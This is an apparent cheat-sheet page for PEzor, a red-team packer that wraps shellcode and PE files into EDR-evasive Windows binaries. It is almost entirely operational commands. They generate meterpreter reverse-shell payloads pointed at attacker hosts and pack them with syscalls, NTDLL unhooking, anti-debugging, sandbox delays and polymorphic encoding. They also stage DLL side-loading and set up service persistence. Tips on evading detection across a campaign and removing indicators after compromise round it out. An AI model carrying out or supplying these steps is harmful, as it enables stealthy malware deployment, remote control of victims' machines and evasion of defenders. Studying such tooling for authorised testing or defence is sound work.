콘텐츠로 이동

PEzor

PEzor is an advanced red team tool that transforms raw shellcode and PE executables into EDR-evasive binaries using syscalls, memory injection, and NTDLL unhooking. It’s widely used for evading endpoint detection and response (EDR) solutions during post-exploitation.

Clone the repository and run the installation script:

git clone https://github.com/phra/PEzor.git
cd PEzor
./install.sh

For manual installation, ensure dependencies are available:

# Ubuntu/Debian dependencies
sudo apt-get install mingw-w64 clang

# macOS with Homebrew
brew install mingw-w64

# Install additional required tools
pip install pefile

For Docker-based deployment:

docker build -t pezor .
docker run -it -v $(pwd):/work pezor /bin/bash

Key dependencies:

  • mingw-w64 — Cross-compiler for Windows targets
  • clang or wclang — C/C++ compiler support
  • inline_syscall — Direct syscall implementation
  • nasm — Assembler for assembly code
  • donut — .NET assembly to shellcode converter

Basic workflow to pack shellcode into an executable:

# Generate shellcode (raw binary format)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > shellcode.bin

# Pack with PEzor (minimal options)
./PEzor.sh shellcode.bin

# Output is generated as exe.bin or specified format

Default behavior generates an executable that injects shellcode into itself upon execution.

Input TypeFormatExampleUse Case
Raw Shellcode.bin binarymsfvenom outputDirect payload embedding
PE Executable.exe / .dllbeacon.exeWrapping existing binaries
.NET Assembly.exe / .dllCSharp payloadDonut conversion + packing
Shellcode StubC arrayunsigned char buf[]Inline shellcode definitions
# msfvenom output (raw format)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=8080 \
  -f raw > payload.bin

# CobaltStrike raw format
# Export beacon as raw shellcode from Cobalt Strike
./PEzor.sh beacon.bin
# Pack existing executable
./PEzor.sh process.exe -format=exe

# Pack DLL for injection
./PEzor.sh legit.dll -format=reflective-dll
# Convert .NET assembly to shellcode
donut -i program.exe -o donut_shellcode.bin

# Pack with PEzor
./PEzor.sh donut_shellcode.bin -format=exe
FormatExtensionDescriptionUse Case
exe.exeStandalone Windows executableDirect execution
dll.dllDynamic Link LibraryProcess injection, DLL search order hijacking
reflective-dll.dllPosition-independent DLLIn-memory reflective injection
service-exe.exeWindows Service executablePersistence via service installation
service-dll.dllService-compatible DLLService-based persistence
./PEzor.sh shellcode.bin -format=exe
# Output: exe.bin (rename to .exe)
mv exe.bin payload.exe
./PEzor.sh shellcode.bin -format=dll
# Output: dll.bin (rename to .dll)
mv dll.bin payload.dll
./PEzor.sh shellcode.bin -format=reflective-dll
# Suitable for reflective DLL injection without relocation
./PEzor.sh shellcode.bin -format=service-exe
# Executable compatible with service installation
sc create MalwareService binPath= "C:\path\to\service.exe"
MethodFlagDescriptionDetection Risk
Self-Injection-selfThread creation within same processLower (no new process)
RX Memory-rxRead-execute memory allocationLower (not RWX)
Direct Syscalls-syscallsBypass hooked NTDLL functionsLowest
DLL Unhooking-unhookRemove NTDLL hooks before executionVery Low
# Inject shellcode into current process
./PEzor.sh shellcode.bin -self
# Allocate RX (read-execute) memory instead of RWX
./PEzor.sh shellcode.bin -rx
# Bypass hooked Windows API functions
./PEzor.sh shellcode.bin -syscalls
# Remove installed hooks before execution (for EDR evasion)
./PEzor.sh shellcode.bin -unhook
# Maximum evasion: syscalls + unhooking + RX memory
./PEzor.sh shellcode.bin -syscalls -unhook -rx -format=exe

Direct syscalls allow bypassing user-mode API hooks planted by EDR solutions.

# Enable syscall-based API calls
./PEzor.sh shellcode.bin -syscalls

# Syscalls with Shikata Ga Nai encoding
./PEzor.sh shellcode.bin -syscalls -sgn

# Mixed API and syscall approach
./PEzor.sh shellcode.bin -syscalls -antidebug

Note: Syscalls must match target OS version (Windows 10, Windows 11, Server variants).

Evasion TechniqueFlagPurpose
Anti-Debugging-antidebugDetect debugger attachment
Delayed Execution-sleep=NSleep N seconds before execution
Text Section-textExecute from .text section instead of .reloc
Shikata Ga Nai-sgnPolymorphic XOR encoding
Obfuscation-obfuscateAdd obfuscation layers
# Add anti-debugging checks
./PEzor.sh shellcode.bin -antidebug -format=exe
# Sleep 30 seconds before execution (evade quick sandboxes)
./PEzor.sh shellcode.bin -sleep=30 -format=exe
# Execute from .text section (less suspicious than .reloc)
./PEzor.sh shellcode.bin -text -format=exe
# Apply Shikata Ga Nai encoding (avoid signature detection)
./PEzor.sh shellcode.bin -sgn -format=exe
# Full evasion suite
./PEzor.sh shellcode.bin -antidebug -sleep=15 -text -unhook -syscalls -format=exe

NTDLL unhooking removes user-mode hooks installed by EDR products, restoring direct access to Windows APIs.

# Unhook NTDLL before execution
./PEzor.sh shellcode.bin -unhook

# Unhook + syscalls (most effective)
./PEzor.sh shellcode.bin -unhook -syscalls

# Unhook with format specification
./PEzor.sh shellcode.bin -unhook -format=reflective-dll

How it works:

  1. Reads clean NTDLL from disk
  2. Replaces hooked functions in memory
  3. Restores original function prologues
  4. Redirects all subsequent API calls to clean versions
# Reverse TCP shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw > meter.bin

# Reverse HTTPS
msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.10.10 LPORT=443 -f raw > meter_https.bin

# Bind shell
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f raw > bind.bin

# Staged vs unstaged
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw > staged.bin
msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw > unstaged.bin
# In Cobalt Strike Beacon console:
# 1. Attacks > Packages > Shellcode Generator
# 2. Select "raw" output format
# 3. Copy to file and pack with PEzor
./PEzor.sh cobalt_beacon.bin -format=exe
# Convert C# assembly to shellcode
donut -i CSharpPayload.exe -o csharp_shellcode.bin

# Pack converted shellcode
./PEzor.sh csharp_shellcode.bin -format=exe -unhook -syscalls

DLL side-loading exploits search order hijacking by replacing legitimate DLLs with malicious versions.

# Generate DLL payload
./PEzor.sh shellcode.bin -format=dll

# Rename to match legitimate DLL name
cp dll.bin mscoree.dll

# Place alongside legitimate application expecting that DLL
# Application loads malicious DLL instead of system version
# Use Procmon to identify DLL loading attempts
# Look for "NAME NOT FOUND" errors indicating missing DLLs
# These are prime candidates for side-loading

# Common side-load targets:
# - mscoree.dll (CLR loader)
# - cryptbase.dll (crypto APIs)
# - dwmapi.dll (Desktop Window Manager)
# - wlanapi.dll (WiFi APIs)
# Generate shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw > meterpreter.bin

# Pack with maximum evasion
./PEzor.sh meterpreter.bin -format=exe -antidebug -sleep=10 \
  -unhook -syscalls -text

# Output: exe.bin
cp exe.bin payloadmeter.exe
# Export raw beacon from Cobalt Strike
# Place in: beacon.bin

# Pack with service format for persistence
./PEzor.sh beacon.bin -format=service-exe -unhook -syscalls -sgn

# Install as service
cp exe.bin C:\Windows\System32\svchost_malware.exe
sc create MalwareService binPath= "C:\Windows\System32\svchost_malware.exe"
sc start MalwareService
# Compile C# agent
csc.exe /out:Agent.exe Agent.cs

# Convert to shellcode
donut -i Agent.exe -o agent_shellcode.bin

# Pack as reflective DLL
./PEzor.sh agent_shellcode.bin -format=reflective-dll -unhook -syscalls

# Use with reflective DLL injection

Obfuscated DLL for DLL Search Order Hijacking

섹션 제목: “Obfuscated DLL for DLL Search Order Hijacking”
# Generate DLL
./PEzor.sh shellcode.bin -format=dll -sgn -antidebug -sleep=5

# Rename to match target
cp dll.bin version.dll

# Stage in directory with legitimate application
# Application execution triggers DLL load and payload execution
IssueSolution
command not found: PEzor.shEnsure script is executable: chmod +x PEzor.sh
mingw-w64: not foundInstall cross-compiler: apt-get install mingw-w64
Invalid shellcode formatVerify input is raw binary (not hex/base64): file shellcode.bin
EDR still detectingAdd more evasion: -unhook -syscalls -text -antidebug
Shellcode corrupted on outputUse -rx with -format=exe for stability
DLL fails to loadVerify correct format: -format=reflective-dll for injection scenarios
Service-exe won't startEnsure service has compatible entry point (not console application)
  • Test locally first: Always validate payloads in safe lab environment before deployment
  • Layer evasion: Combine -unhook, -syscalls, -antidebug, and -sleep for defense-in-depth
  • Match OS version: Syscall numbers vary by Windows version; validate target OS before execution
  • Use reflective DLL: For in-memory execution, prefer -format=reflective-dll over standard DLL
  • Encode payloads: Apply -sgn (Shikata Ga Nai) encoding to avoid signature detection
  • Randomize delays: Use variable -sleep values across campaign to avoid pattern detection
  • Monitor modifications: EDR may detect file write behavior; stage payloads in-memory when possible
  • Test beacon connectivity: Verify C2 communication before declaring success
  • Cleanup indicators: Remove PEzor output files and staging locations post-compromise
  • Update regularly: PEzor evolves with EDR detection methods; monitor for updates
ToolPurposeIntegration
Donut.NET to shellcode converterInput generation for PEzor
ScareCrowShellcode loader with evasionAlternative EDR bypass approach
FreezeProcess suspension for evasionComplementary evasion technique
NimCrypt2Nim-based payload encryptionPayload encoding alternative
shhhloaderSilent loader frameworkDLL loading wrapper
Cobalt StrikeCommand & Control platformPrimary shellcode source
MetasploitPayload generationAlternative payload source